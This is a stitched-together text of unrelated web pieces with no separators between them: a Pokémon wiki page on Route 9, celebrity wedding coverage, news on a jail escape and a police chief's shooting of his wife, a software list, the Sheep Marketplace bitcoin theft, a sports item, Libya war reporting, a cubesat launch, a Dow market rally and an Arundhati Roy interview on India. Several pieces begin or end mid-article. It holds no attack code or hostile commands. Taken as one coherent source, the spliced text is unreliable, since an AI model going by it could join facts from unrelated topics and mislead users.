Many of the church leaders, including President Thomas S. Monson, have been active in scouting. Monson holds the Scouts' highest honor – being named a Silver Beaver.
Route 9 (Japanese: ９番道路 Route 9) is a route in eastern Kanto, connecting Cerulean City and Route 10.
Route description
Heading east from Cerulean, the route quickly utilizes the rocky terrain of the area, hopping down a ledge and passing a Trainer, making this portion of the route a one way, eastbound only passage. Turning east, the route passes an opening to the south that leads to another Trainer and TM30 (Teleport) in Generation I, or TM40 (Aerial Ace) in Generation III. Moving away from the passage, Route 9 comes to a four-way intersection. To the north is the one way, westbound only passage that returns to Cerulean and is occupied by two Trainers and a grassy area containing wild Pokémon. To the south is a long passage that ultimately results in a dead end, containing one Trainer and a Burn Heal in Generation III. The main path of Route 9 takes the east fork.
To the east of two hills connected by ledges, the route turns north into the path of another Trainer. The route also comes to a three-way intersection here, with a fork to the west leading to yet another Trainer and a small patch of grass. Route 9 continues northward, turning east, passing another Trainer and turning south to the northeast of another small hill. After hopping another ledge that makes the passage east of the four-way intersection a one way, eastbound only path (and which utilizes the dead end passage, which is bordered to its north by a ledge for most of its length, as the westbound only path), the path crosses ways with another Trainer as it turns east.
Just east of the Trainer is a pair of ledges that allow Trainers heading west from the Rock Tunnel to reach the four-way intersection that ultimately leads to Cerulean. Farther east, the route comes to an end at the western extent of a large grassy area, at which the path becomes Route 10.
In Generations I, III, and VII, to get to Lavender Town and Celadon City, the player must travel through the route to reach the Rock Tunnel.
Items
Pokémon
Generation I
Pokémon Games Location Levels Rate Rattata R B Y Grass 14, 16-17 45% Rattata R B Y Grass 18 15% Raticate R B Y Grass 20 4% Spearow R B Y Grass 13, 16-17 30% Spearow R B Y Grass 17 10% Fearow R B Y Grass 19 1% Ekans R B Y Grass 11, 13, 15, 17 25% Sandshrew R B Y Grass 11, 13, 15, 17 25% Nidoran♀ R B Y Grass 16, 18 35% Nidorina R B Y Grass 18 5% Nidoran♂ R B Y Grass 16, 18 25% Nidorino R B Y Grass 18 5% A colored background means that the Pokémon can be found in this location in the specified game. A white background with a colored letter means that the Pokémon cannot be found here.
Generation II
Pokémon Games Location Levels Rate Rattata G S C Grass 15 30% 30% 0% Rattata G S C Grass 13-15 0% 0% 40% Rattata G S C Grass 13 30% 30% 0% Rattata G S C Grass 13-15 0% 0% 70% Rattata G S C Grass 15 30% Raticate G S C Grass 15 10% 10% 25% Raticate G S C Grass 15 15% 15% 30% Raticate G S C Grass 15 20% 20% 0% Raticate G S C Grass 15-18 0% 0% 25% Spearow G S C Grass 13 20% 20% 0% Spearow G S C Grass 13-15 50% 50% 0% Spearow G S C Grass 15 30% 30% 0% Fearow G S C Grass 15 5% 5% 0% Fearow G S C Grass 15 15% 15% 0% Zubat G S C Grass 15 0% 0% 5% Venonat G S C Grass 15 0% 0% 30% Venomoth G S C Grass 15 0% 0% 10% Mankey G S C Grass 13 30% Primeape G S C Grass 15 5% Marowak G S C Grass 18 5% 5% 0% Surfing Goldeen G S C Surfing 10-19 90% Seaking G S C Surfing 15-19 10% Fishing Goldeen G S C Fishing
Old Rod 10 15% Magikarp G S C Fishing
Old Rod 10 85% Goldeen G S C Fishing
Good Rod 20 65% Magikarp G S C Fishing
Good Rod 20 35% Goldeen G S C Fishing
Super Rod 40 70% Seaking G S C Fishing
Super Rod 40 10% Magikarp G S C Fishing
Super Rod 40 20% A colored background means that the Pokémon can be found in this location in the specified game. A white background with a colored letter means that the Pokémon cannot be found here.
Generation III
Pokémon Games Location Levels Rate Rattata FR LG Grass 14, 16-17 40% Spearow FR LG Grass 13, 16-17 35% Ekans FR LG Grass 11, 13, 15, 17 25% Sandshrew FR LG Grass 11, 13, 15, 17 25% A colored background means that the Pokémon can be found in this location in the specified game. A white background with a colored letter means that the Pokémon cannot be found here.
Generation IV
Generation VII
Pokémon Games Location Levels Rate Rattata P E Grass 17-22 20% Raticate P E Grass 17-22 10% Spearow P E Grass 17-22 20% Fearow P E Grass 17-22 10% Nidoran♀ P E Grass 17-22 15% Nidorina P E Grass 17-22 5% Nidoran♂ P E Grass 17-22 15% Nidorino P E Grass 17-22 5% Rare Spawns Chansey P E Grass 17-22 - While riding a Flying Pokémon
After becoming Champion Spearow P E In the sky 3-56 60% Fearow P E In the sky 3-56 40% Rare Spawns Charizard P E In the sky 3-56 - Articuno P E In the sky 3-56 - Zapdos P E In the sky 3-56 - Moltres P E In the sky 3-56 - Dragonite P E In the sky 3-56 - A colored background means that the Pokémon can be found in this location in the specified game. A white background with a colored letter means that the Pokémon cannot be found here.
Trainers
Generation I
Generation II
Trainer Pokémon Picnicker Edna
キミエ Kimie
Reward: 680 Nidorina ♀ Lv. 30 No item Raichu ♀ Lv. 34 No item Camper Sid
リョウスケ Ryōsuke
Reward: 580 Dugtrio ♂ Lv. 32 No item Primeape ♂ Lv. 29 No item Poliwrath ♂ Lv. 29 No item Camper Dean
ユウト Yūto
Reward: 620 Golduck ♂ Lv. 33 No item Sandslash ♂ Lv. 31 No item Hiker Tim
マサミチ Masamichi
Reward: 992 Graveler ♂ Lv. 31 No item Graveler ♂ Lv. 31 No item Graveler ♂ Lv. 31 No item Picnicker Heidi
リカコ Rikako
Reward: 640 Skiploom ♀ Lv. 32 No item Skiploom ♀ Lv. 32 No item Hiker Sidney
タカアキ Takaaki
Reward: 1024 Dugtrio ♂ Lv. 34 No item Onix ♂ Lv. 32 No item Trainers with a telephone symbol by their names will give their Pokégear number to the player, and may call or be called for a rematch with higher-level Pokémon.
Generation III
Generation IV
Trainer Pokémon Picnicker Edna
キミエ Kimie
Reward: 720 Nidorina ♀ Lv. 41 No item Raichu ♀ Lv. 45 No item Camper Sid
リョウスケ Ryōsuke
Reward: 640 Dugtrio ♂ Lv. 43 No item Poliwrath ♂ Lv. 40 No item Primeape ♂ Lv. 40 No item Camper Dean
ユウト Yūto
Reward: 672 Golduck ♂ Lv. 44 No item Sandslash ♂ Lv. 42 No item Hiker Eoin
マサミチ Masamichi
Reward: 1344 Graveler ♂ Lv. 42 No item Graveler ♂ Lv. 42 No item Graveler ♂ Lv. 42 No item Picnicker Heidi
リカコ Rikako
Reward: 688 Skiploom ♀ Lv. 43 No item Skiploom ♀ Lv. 43 No item Hiker Clarke
タカアキ Takaaki
Reward: 1440 Onix ♂ Lv. 43 No item Dugtrio ♂ Lv. 45 No item Trainers with a telephone symbol by their names will give their Pokégear number to the player, and may call or be called for a rematch with higher-level Pokémon.
Generation VII
Differences among generations
Generations I and III
Only a few cosmetic changes are present between Generations I and III. The normal tree on the side of the cut-able in the west of the route is changed to a fence and the same kind of tree south of the nearly tall grass is changed to a rock. Some hills are bigger, and all of them are made taller in FireRed and LeafGreen, adding another hill above. Also, the flowers in the west entrance are replaced by trees.
Generation II
In Generation II, the route was shortened by roughly 30%, and the corner between it and Route 10 belonged to it instead of belonging to Route 10 as it does in Generation I and III, making the north entrance to the Rock Tunnel placed practically in this route by three steps. Interestingly, the only way to enter the cave is entering Route 10 as the half of the Pokémon Center blocks the way. Also, almost all items were removed from the route and the number of Trainers was reduced to six. However, five of the six remained in positions occupied by Trainers in the other Generations.
Generation IV
The fence and the tree barricade
Many changes are made in this route. The cuttable tree is removed, the tall grass in the west side is slightly moved to the south, the shape of the same grass is also different, the ledge north of the signpost is removed, as a new ledge is added near the center grass, and a hill is added to the route to give it a more in-depth feel. South of the east tall grass, a new fence with four cuttable trees is added replacing the ledge north of the Poké Center, one of these trees not being necessary to pass through the grass. Like in Gold, Silver and Crystal, the corner between it and Route 10 belonged to this route; however, this time the Rock Tunnel entrance is not placed in the route.
For decorative purposes, rocks are added in some hills, as are the flowers near the Pokémon Center and two more hills in the east river. This river is not a dead end to the north like in previous generations; this time the water goes north, but it's still impossible to advance due to rocks blocking the way. The west-to-east part of the river is significantly shortened. Also, the trees in the west entrance are replaced by an extension of the south hill. The fence with the trees mentioned above is very similar to the tree barricade between the Pokémon Center and the Rock Tunnel in Route 10 in Generations I and III.
In the manga
Route 9 in Pokémon Adventures
In the Pokémon Adventures manga
Route 9 was featured from Can't Catch Caterpie! to The Primeape Directive, where Blue and Yellow trained at the mountainous areas of the route in preparation for the upcoming battle against the Elite Four. Soon after arriving at the mountains, Yellow encountered a Caterpie, which had followed her all the way from Celadon City. Following Blue's instructions, she eventually caught it and added it to her team, nicknaming it Kitty. As a result for her battles against Caterpie while trying to catch it, Yellow's Rattata, Ratty, evolved into a Raticate, much to Yellow's shock, since she hadn't been aware that Pokémon could evolve.
After training together for a while, Blue and Yellow went on their separate ways by sea. Since Yellow didn't have a Pokémon that could Surf yet, she instead boarded the bypassing S.S. Anne to Vermilion City.
In Pokémon Adventures, the industrial waste from the unfinished Power Plant to the south has spread all the way to this route, causing erosion and killing off most of the local plant life. This has also affected the food resources of the Pokémon living in the area, including a pack of Mankey, forcing them to travel far and wide in search for anything to eat.
Trivia
See also
While many Hollywood types tend to go for something more over the top on their wedding day, the 31-year-old actress beamed in the unadorned white, A-line style dress that was tea length with a layered bottom, and featured a sheer overlay that modestly covered her arms and chest. She accessorized the gown with a simple white floral crown, a veil, and nude-colored flats.
[Related: How Natalie Portman slimmed down after baby]
The 45-minute ceremony took place under the moonlight on a bluff that overlooked the ocean. The bride's Jewish faith was reflected with the chuppah made of twigs, prayer shawl, and Millepied breaking glass as guests cheered "Mazel Tov!"
One hundred family members and friends, including Ivanka Trump and Macaulay Culkin, attended the reception at a private residence, where they noshed on vegan dishes, selected by Portman who follows a strict vegan diet. Instead of wedding cake, guests were served a sweet treat from Millepied's native France: macarons. Portman and Millepied, who met on the set of "Black Swan" and have a 1-year-old son Aleph, danced the night away, including a 20-minute traditional hora.
[Related: 5 craziest movie role transformations]
It was the first time the reclusive Culkin, a friend of Portman's since they were both child stars in New York City, has been seen following a tabloid story claiming he was addicted to heroin. A rep for Culkin, who has been dabbling in a new profession as a deejay, denied the claims.
Portman has worn gowns by Rodarte on many occasions through the years, including the night she won the Best Actress Academy Award in 2011 for her role in "Black Swan." (Rodarte also designed Portman's tutu for the movie.) While she was pregnant that year and opted for a more conservative style, in 2009 she wore a sexy Rodarte number to the Oscars — a bright pink strapless gown with a flowing bottom.
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The headlines rife with puns about nutty escapes and sticky situations nearly write themselves. But the jam that Walker County Jail in Jasper, Ala., found itself in after 12 inmates skipped out using peanut butter Sunday appears to have ended with the capture of the final escapee on Tuesday.
Walker County Sheriff James Underwood said the inmates were able to trick a new jailer by using peanut butter — scraped from sandwiches — to alter the number over the exit and persuading the guard to open it, thinking it was the entrance to a cell.
The 12 men were then able to scale a barbed wire fence, reports WBRC.
"Changing some numbers on the door with peanut butter — that may sound crazy," Underwood said at a news conference on Monday according to AL.com. "But these people are crazy like a fox."
"We slipped up," Underwood added. As for the duped prison guard, "he made a mistake," Underwood said. "He's a young guy, he hasn't been there that long. This young man was a weak link, and they knew it."
The Sheriff's Office said six of the inmates were captured shortly after their escape. Five more were caught within 24 hours of walking free, reports AL.com.
By Tuesday, the 12th and final escapee, Brady Kilpatrick, 24, was captured in Tequesta, Fla. He had been the only one to make it out of Walker County.
The inmates, ranging in age from 18 to 30, were facing charges including drug possession, theft and attempted murder.
Underwood said some people will receive rewards for tipping off police to the inmates' whereabouts, but others may face criminal charges for aiding and abetting them. "They had some outside help," Underwood said, reports AL.com.
At a Thursday afternoon press conference, Peachtree City, Georgia authorities identified the shooter as local Police Chief William McCollom, 57, and the victim as his 58-year-old wife Margaret.
The incident happened just after 4am, when officers received a call from the chief, saying he accidentally shot his wife at their home on Autumn Leaf using his service handgun, a Glock 17 9mm.
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What happened? On Thursday, Peachtree City, Georgia authorities confirmed that local police chief William McCollom (right) shot his wife inside their home early New Year's Day. His wife Margaret (left) was last listed in critical condition at Atlanta Medical Center
Scene: McCollom allegedly called 911 shortly after 4am on January 1 to report that he accidentally shot his wife
Investigators say the woman was shot in the home's bedroom.
It was initially reported that the chief shot her two times, according to the 911 recording, but authorities now say she was shot just once.
Margaret was flown by helicopter to Atlanta Medical Center, where she was still listed in critical condition Thursday afternoon.
The Georgia Bureau of Investigations is taking over the case, and will file a report on the shooting to the District Attorney's office which will decide whether to press charges.
GBI Director Sherry Lang said the police chief is being fully cooperative with the investigation.
Meanwhile, McCollom has since been placed on paid administrative leave by the City Manager, pending an internal review. Fayette County District Attorney Scott Ballard said McCollom has not been arrested or charged with any crime.
He had only officially been in the position for two months, but took over as interim police chief in July when the previous chief stepped down.
Veteran cop: McCollom has been the police chief of Peachtree City since October, but on Thursday it was announced that he would be placed on leave pending an internal review
Happy couple? One of the McCollom's neighbors described them as 'loving' and that he has 'never seen any problems over there'. William (left) and Margaret McCollom (right) pictured above in a picture posted to Margaret's Facebook. It's unclear what relation the young man in the middle has to the couple
Before that, he served as assistant chief and joined the department in 2012.
According to Mrs McCollom's Facebook, she is licensed practical nurse who used to work in an emergency room.
A neighbor who lives across the street from the McColloms described them as a 'loving couple' who 'do a lot of things together' and that he says he has 'never seen any problems over there', according to Fox.
WinZip 2 ­WinZip is an original and popular Zip file utility.
Winamp 5 MP3 playing software for Windows. It also plays many other formats, is skinable, has plugins, and much more...
Half-Life 8 Half-Life is based on the GoldSrc engine, that has spawned more add-ons that we can count. For example, Team Fortress, Counter-Strike, and Opposing Force
Microsoft Word 10 Word Processing component of Microsoft Office.
Microsoft Excel 11 Microsoft Excel is a spreadsheet developed by Microsoft for Windows, macOS, Android and iOS. It features calculation, graphing tools, pivot tables, and a macro programming language called Visual Basic for Applications. It has been a very widely applied spreadsheet for these platforms, especially since version 5 in 1993, and it has replaced Lotus 1-2-3 as the industry standard for spreadsheets. Excel forms part of Microsoft Office.
Microsoft Access 12 Design your own relational database.
Microsoft PowerPoint 13 Microsoft PowerPoint is a presentation program currently developed by Microsoft, for use on both Microsoft Windows and Apple Macintosh operating systems. PowerPoint, initially named "Presenter", was created by Forethought Inc.. Microsoft's version of PowerPoint was officially launched on May 22, 1990, as a part of the Microsoft Office suite. PowerPoint is useful for helping develop the slide-based presentation format and is currently one of the most commonly used slide-based presentation programs available. Microsoft has also released the PowerPoint mobile application for use on Apple and Android mobile operating systems.
Microsoft FrontPage 15 Microsoft FrontPage (full name Microsoft Office FrontPage) is a discontinued WYSIWYGHTML editor and Web site administration tool from Microsoft for the Microsoft Windows line of operating systems. It was branded as part of the Microsoft Office suite from 1997 to 2003. Microsoft FrontPage has since been replaced by Microsoft Expression Web and SharePoint Designer, which were first released in December 2006 alongside Microsoft Office 2007, but these two products were also discontinued in favor of a web-based version of SharePoint Designer, as those three HTML editors were Desktop applications.
Adobe Photoshop 17 Adobe Photoshop software is a popular professional-quality bitmap image editor that handles
Cool Edit Pro 19 Cool Edit Pro is the digital audio software package you've been waiting for. It's a breeze to learn and use, packs enough top-quality digital effects modules to fill a room full of rack mounts, and can mix up to 64 tracks together, using just about any sound card. It's like having thousands of dollars' worth of professional audio equipment all in one easy-to-use software package.
Adobe Illustrator 20 A vector graphics image editing program.
Adobe Animate 23 Adobe Animate (formerly Adobe Flash Professional, Macromedia Flash, and FutureSplash Animator) is a multimedia authoring and computer animation program developed by Adobe Systems.
Internet Explorer 25 Internet Explorer is the set of core Web browsing technologies in Windows.
Lotus Notes 27 Lotus Notes is a email, calendar, and database application which works in conjunction with a Lotus Domino server.
Yahoo! Messenger 29 Yahoo! Messenger (YIM) - an instant messenger to communicate with other Yahoo members.
Microsoft Office (installer only) 31 This entry is for testing the installer of Microsoft's Office application suite. The individual applications included in the suite have their own AppDB entries; test results for running the applications should be submitted through their individual AppDB page.
Microsoft Outlook 34 Microsoft Outlook is a personal information manager from Microsoft, available as a part of the Microsoft Office suite.
TablEdit 38 TablEdit is a program for creating, editing, print­ing and listening to tablature and sheet music (standard notation) for guitar and other fretted, stringed instruments. Also handles tin whistles, diatonic accordians, harmonicas ...
Proxomitron 39 The famous Universal Web Filter !
Delphi 42 Delphi is a complete environment for the visual design, compilation, and debugging of Windows applications.
Matlab 49 A numerical mathematics package
Visual C++ 53 Microsofts well known, C++ integrated development environment (IDE)
ICQ 55 Official instant messaging client for ICQ.
Sheep is down We are sorry to say, but we were robbed on Saturday 11/21/2013 by vendor EBOOK101. This vendor found bug in system and stole 5400 BTC — your money, our provisions, all was stolen. We were trying to resolve this problem, but we were not successful. We are sorry for your problems and inconvenience, all of current BTC will be ditributed to users, who have filled correct BTC emergency adress [sic]. I would like to thank to all SheepMarketplace moderators by this, who were helping with this problem. I am very sorry for this situation. Thank you all.
With bitcoins hovering around $1,000 apiece, that meant that "EBOOK101" had effectively stolen over $5 million from users. Bitcoin owners have experienced serious hacking losses before: last year, exchange site BitFloor had 24,000 bitcoins (then worth a mere $250,000 USD) stolen because of a security hole, and a little over 1,000 bitcoins went missing from virtual wallet BIPS last month. But users had serious doubts that an outsider had really found and exploited a bug, especially after what was described as a week of suspicious behavior. In late November, the site SheepMarketScam.com started warning readers that vendors and buyers couldn't withdraw money from Sheep Marketplace. At the same time, it said that market moderators had started offering bulk drug purchases if people would pay first rather than keeping the money in an escrow account.
"All day, we've been chasing the scoundrel with our stolen bitcoins."
"They know Sheep is closing and so they are reducing all prices, introducing new products, and making everyone [finalize transactions early] to try and take as much as they can," wrote the author. And the actual theft is thought to be much higher than 5,400 bitcoins. As noted by Tapscape, Andy Greenberg of Forbes, and others, some people have pointed to an address with transactions totaling a little over 39 bitcoins, supposedly the amount in Sheep Marketplace before it shut down, as an indication that the site's owners had absconded with the funds.
On Reddit, a pair of users have worked to follow a trail of allegedly stolen bitcoins as they're bounced around addresses for laundering. "All day, we've been chasing the scoundrel with our stolen bitcoins through the blockchain," wrote sheeproadreloaded2. The money they're chasing, which is still being moved through accounts, is closer to a total of 96,000 bitcoins, and users hope that knowing where it's gone will help identify the thieves if they try to sell or convert their ill-gotten gains. Overall, though, the whole shutdown is a confusing mess, and it's far from clear even how much has been stolen, regardless of who took it or whether this hunt will help solve the mystery.
The unique baseline coaching boxes at Vanderbilt's Memorial Gym will be extended up the sideline for the 2015-16 season, the university confirmed Tuesday.
The bench will remain on the baseline.
Mandated by the NCAA, both coaching boxes will be extended down the north sideline beyond the 3-point line and toward the scorer's table. Head coaches, not assistants, will be allowed to walk throughout the box during games. Per the current rules, players will remain in the bench area on the baseline except when going to the scorer's table to check into the game.
"The NCAA has asked us to make these changes to our coaching boxes at Memorial Gym, and we have accommodated their request," Vanderbilt coach Kevin Stallings said in a statement. "However, these alterations are very marginal and I believe these changes will have minimal impact on the overall fan experience and the Memorial Magic that our building has created and will continue to create for many years to come."
The NCAA did not respond to a request for comment on Tuesday.
Diagram of Memorial Gym, with dotted lines showing the new head coaching boxes for the 2015-16 season. (Photo: Vanderbilt)
In September, CatsIllustrated.com, the Rivals and Yahoo site that covers Kentucky basketball, reported that the NCAA approved a waiver, as requested by the Southeastern Conference, that would extend the coaching boxes of Memorial Gym.
Since its construction in 1952, Memorial Gym has served as one of college basketball's unique venues, with benches situated on the baseline and a playing court situated above portions of the crowd.
A Vanderbilt statement said the university does not anticipate the change creating significant issues related to fans' sightlines. For questions, call the National Commodore Club at 615-322-4114.
Its estimated 5,000 residents, supporters of Muammar Gaddafi, had been transported to his stronghold Tripoli by his militiamen, leaving behind a ghost town.
“We would have liked to have been welcomed here. These people all liked Gaddafi. They benefitted from him,” said a rebel named Majdi, standing beside rows of houses built by Libyans aided by soft loans from the government.
Libya’s six-month uprising is often described as a simple struggle to end decades of autocratic rule. But as the offensive in the Western Mountains illustrates, it is far more complex. Factionalism could fuel a civil war, even if Gaddafi falls, keeping the North African oil producer unstable.
“I just hope that we can oust Gaddafi and that his followers will let the past be the past and embrace democracy,” said rebel Omar Ali Muhammad. “Otherwise the country may face troubles even if he is pushed out.”
Gaddafi maintained supporters in Ghazaia and other places in the plains below the Western Mountains, despite international pressure on him to step down and defections of senior government officials.
That is one reason why it took rebels, themselves disunited, months to make serious gains here. The veteran Libyan leader’s support network could also enable him to launch a counteroffensive and reverse rebel gains.
While his opponents were still gaining military experience, Gaddafi was relying on residents of the rough desert region to give him further advantages over a novice rebel force. One provided his militiamen with extensive services.
“He gave Gaddafi’s soldiers everything. Intelligence on our movements, details on the routes we used, he even gave them sheep and goats,” said rebel commander Salim al Hamdi, who was discussing strategy with comrades at the man’s house, which has been taken over by rebels.
Government forces had been dug in at Ghazaia since the conflict began, setting up headquarters at a complex of houses the government helped people build. Soldiers also lived in villas, enjoying kitchens, television sets and radio.
Now rebels are surrounding the town of Tiji, which also supports Gaddafi. Sunday afternoon rebels on the frontline fired tank shells and anti-aircraft guns at government forces.
“They like Gaddafi in Tiji,” said a rebel named Osama as missiles were fired back, pounding the earth. “After Gaddafi loses we will remember that the people of Tiji loved him. That’s why it’s tough fighting here. It is a reality.”
For one, a brand new Kickstarter campaign wants to crowdfund a purchase of Villa Delin and then donate it to the local municipality or a national institution. The vision is that it would be turned into a free museum. "This important piece of history is too important to solely be used by a single individual," the campaign page reads. So far, no backers though. Anyway, take a stroll through the rest of the home.
· On the market: 1970s Leonie Geisendorf-designed Villa Delin brutalist property in Djursholm, Sweden [Wowhaus]
Alasdair Allan Blocked Unblock Follow Following May 20, 2017
Created almost twenty years ago the CubeSat standard has lowered the barrier to entry to the point where you can put your own satellite into orbit for not much more than the price of a high end car. The 10 cm × 10 cm × 10 cm cubes have become so common that you can buy most of the structural and flight components of your satellite straight off the shelf.
But what if you don’t want to build something with off the shelf parts?
The top end of UPSat. (📷: SatNogs)
The UPSat cubesat was constructed by the Libre Space Foundation, and aspired to the first completely open source satellite ever launched. The team behind the 2U cubesat, the first ever built in Greece, tried to keep the amount of off the shelf parts to the absolute minimum, with all of the critical subsystems of the satellite being designed from scratch using open software and open hardware.
UPSat during final assembly. (📷: Libre Space Foundation)
All the software, hardware designs for the satellite can be found on GitHub.
The satellite forms part of the QB50 international research mission, a network of 36 2U and 3U cubesats to be deployed in Low Earth Orbit to form part of a distributed constellation of sensors investigating the upper layers of the atmosphere, and the mid-lower thermosphere, located between 200 and 400 km altitude—a relatively unexplored part of Earth’s atmosphere.
The first 28 cubesats of the QB50 mission were launched to the International Space Station aboard the Orbital ATK OA-7 Cygnus cargo craft back in April, a further 8 cubesats will be launched onboard an Indian PSLV rocket into Sun-synchronous orbit later in the year.
After arriving onboard the ISS the UPSat was was loaded by the astronauts into the NanoRacks CubeSat Deployer. The deployer uses the Japanese Kibo module’s airlock to move cubesats outside the station and deploy them into orbit.
Taken by astronaut Peggy Whitson from inside the ISS cupola module, the NanoRacks deployer is visible as the cubesats from the Orbital ATK launch in April are deployed into Low Earth Orbit (📷: NASA)
UPSat was deployed from the NanoRack launcher on the ISS at 08:25 UTC on the morning of May 18th. It was one of 17 satellites deployed as part of the first airlock cycle, 11 of those forming part of QB50.
Astronaut Thomas Pesquet onbaord the International Space Station talking about QB50. (📹: NanoRacks)
UPSat will be using SatNOGS network of ground stations for tracking and command and control operations. The SatNOGS project is network of open source satellite ground-stations, and was the winner of the Hackaday Prize back in 2014.
A SatNOGS ground-station on show at Maker Faire New York back in 2015. (📷: Alasdair Allan)
The project hosts extensive instructions on how to put together your own station and get it connected to the SatNOGS network. So long as you have access to a 3D printer, you can now put together your own satellite ground station for between $300 and $400.
The default configuration supports both VHF and UHF bands for reception. However the ground station is extendable both for transmission — so long as you have the appropriate amateur radio license — as well as to other satellite bands.
"If we would have made the playoffs last year, would I have called that? Probably not," Weddle asked about his now-famous fourth-and-2 fake punt in overtime against the Kansas City Chiefs, via U-T San Diego.
Playoff schedule The first two rounds of the NFL's postseason schedule for the 2013 season were released Sunday night.
The first two rounds of the NFL's postseason schedule for the 2013 season were released Sunday night. More ...
A lot of attention rightly has been paid to the missed call that helped San Diego get to overtime in the first place. And Weddle's run up the middle was plenty controversial because it appeared he fumbled the ball until the officials ruled that his forward progress was stopped. Those storylines have distracted everyone from one of the most insane decisions we can remember.
With a playoff spot on the line, Weddle, not a coach, made the call to go for a fake punt on his 28-yard line. If the Chargers fail there, their season almost surely is over.
Special teams coach Kevin Spencer gave Weddle the green light to make the call depending on what he saw from the Chiefs' formation. Weddle took the plunge. Offensive tackle Jeromey Clary said he never would have made the call.
For a moment, coach Mike McCoy wasn't happy with the decision. He started yelling at Spencer.
"I thought we'd fumbled," McCoy said. "I was (angry)."
It was a call that felt like it took more stones than any NFL decision since Sean Payton's famous call for an onside kick to start the second half of Super Bowl XLIV. The numbers say that it wasn't so crazy.
The site AdvancedNFLstats.com dissected the percentages. While it was a high-risk move, the data says that it was at worst a coin-flip decision in terms of helping San Diego's chances to win.
No matter what the numbers say, it's one of those plays I'll remember for a long, long time. (Especially if the Chargers take their good fortune into the playoffs and win a game or two.)
Traders cheered from the floor of the New York Stock Exchange as the big-company index finished the day at 20,068.10, up a whopping 155.80 points from the previous day’s close.
The blue chips had ripped past the 20,000 mark right out of the gate as Wednesday’s boffo session began at 9:30 a.m. eastern time, and never gave back their ground as President Trump acted on campaign promises to loosen regulation on Wall Street and unleash infrastructure spending.
Among the notable gainers were Boeing, which gave an upbeat forecast on plane sales as it reported strong earnings; and Caterpillar, whose shares surged on speculation about a coming surge in construction activity.
“Great! #Dow20K” Trump tweeted early Wednesday before affirming plans later in the day to build a wall on the Mexican border.
The rally in the Dow — which had stalled in recent weeks after peaking at 19,999.63 on Jan 6. — was reignited this week by Trump’s signing of numerous executive orders since his inauguration on Friday, including the go-ahead to move forward with the construction of two controversial oil pipelines.
Since Election Day alone, the Dow has risen more than 9 percent, or nearly 1,800 points.
But the Trump rally had been sputtering of late as investors sought clarity on his growth initiatives, with some fretting that his protectionist stance toward trade with China and Mexico could eventually tank the economy.
Analysts may have been incorrect in focusing on specific Trump policies instead of looking at the big picture, Bruce Bittle, Chief Investment Strategist at RW Baird, told The Post.
“The market is looking at this from a macro perspective — we’re moving from an administration that was anti-business to one that is pro-business,” Bittle said.
Lofted by a 4-percent rise in fourth quarter 2016 earnings, Bittle predicts that the 20,000 level will be the new support level for the Dow.
The rally occurred “even before an easing of tax regulations and other anti-business regulations actually happened,” he said.
The S&P 500 and the Nasdaq Composite also hit fresh, all-time highs early Wednesday after closing at record levels on Tuesday as the post-election rally roared back to life.
Trump this week also pushed chief executives of the Big Three US automakers to create jobs by building more plants in the United States. Shares of Ford, General Motors and Fiat Chrysler were all up in early trading.
The dollar, however, dropped to a near seven-week low on Wednesday of 99.84 as concerns about Trump’s protectionism stance on trade lingered.
“The massive, steeply climbing GDP of India dropped rather suddenly and millions of middle-class people sitting in the aircraft, waiting for it to take off, suddenly found it freezing in mid-air,” says Ms Roy. “Their exhilaration turned to panic and then into anger. Modi and his party have mopped up this anger.”
India was known for its quasi-socialist economy before it unfettered its private sector in 1991. India soon became global capital’s favourite hangout, sending its economy on a high. The neo-liberal roller coaster ride, however, hit snags. The Indian economy, after touching a peak of over 10pc growth in 2010, tapered down to below 5pc in the last three years. The Indian corporate class blames this lapse solely on the ruling Congress party’s ‘policy paralysis’. Its ‘meek’ prime minister, Manmohan Singh, was now identified as a hurdle. The aggressive Modi thus provided the ultimate contrast.
“What he [Modi] will be called upon to do is not to attack Muslims, it will be to sort out what is going on in the forests, to sweep out the resistance and hand over land to the mining and infrastructure corporations,” explains Ms Roy. “The contracts are all signed and the companies have been waiting for years. He has been chosen as the man who does not blink in the face of bloodshed, not just Muslim bloodshed but any bloodshed.” India’s largest mining and energy projects are in areas that are inhabited by its poorest tribal population who are resisting the forcible takeover of their livelihood resources. Maoist militants champion the cause of these adivasis and have established virtual rule in many pockets.
“Bloodshed is inherent to this model of development. There are already thousands of people in jails,” she says. “But that is not enough any longer. The resistance has to be crushed and eradicated. Big money now needs the man who can walk the last mile. That is why big industry poured millions into Modi’s election campaign.”
Ms Roy believes that India’s chosen development model has a genocidal core to it. “How have the other ‘developed’ countries progressed? Through wars and by colonising and usurping the resources of other countries and societies,” she says. “India has no option but to colonise itself.”
India’s demographic dynamics are such that even mundane projects, such as constructing a road, displace thousands of people, never mind large dams and massive mining projects. The country has a thriving civil society, labour unions and polity that channel this resistance. The resistance frustrates corporate ambitions. “They now want to militarise it and quell it through military means,” she says. Ms Roy thinks that the quelling “does not necessarily mean one has to massacre people, it can also be achieved by putting them under siege, starving them out, killing and putting those who are seen to be ‘leaders’ or’ ‘instigators’ into prison.” Also, the hyper Hindu-nationalist discourse which has been given popular affirmation will allow those resisting ‘development’ to be called anti-nationals. She narrates the example of destitute small farmers who had to abandon their old ways of subsistence and plug in to the market economy.
In 2012 alone, around 14,000 hapless farmers committed suicide in India. “These villages are completely resourceless, barren and dry as dust. The people are mostly Dalits. There is no politics there. They are pushed into the polling booths by power brokers who have promised their overlords some votes,” she adds, citing her recent visit to villages in Maharashtra that has the highest rate of farmer suicides in India.
So is there no democracy in India then? “It would be too sweeping to say that,” she retorts. “There is some amount of democracy. But you also can’t deny that India has the largest population of the poor in the world. Then, there hasn’t been a single day since independence when the state has not deployed the armed forces to quash insurgencies within its boundaries. The number of people who had been killed and tortured is incredible. It is a state that is continuously at war with its people. If you look at what is happening in places like Chhattisgarh or Odisha, it will be an insult to call it a democracy.”
Ms Roy believes that elections have become a massive corporate project and the media is owned and operated by the same corporations too. She opines that “some amount of democracy” in India is reserved for its middle classes alone and through that they are co-opted by the state and become loyal consumers of the state narrative of people’s resistances.
“The 2014 elections have thrown up some strange conundrums,” she muses. “For eg, the BSP, Mayawati’s party, which got the third largest vote share in the country, has won no seats. The mathematics of elections are such that even if every Dalit in India voted for her, she could have still not won a single seat.”
“Now, we have a democratically elected totalitarian government,” she continues. “Technically and legally, there is no party with enough seats to constitute an opposition. But many of us have maintained for several years that there never was a real opposition. The two main parties agreed on most policies, and each had the skeleton of a mass pogrom against a minority community in its cupboard. So now, it’s all out in the open. The system lies exposed.”
India’s voters have given their verdict. But the blunt question that Ms Roy raises remains unanswered: where will India’s poor go?
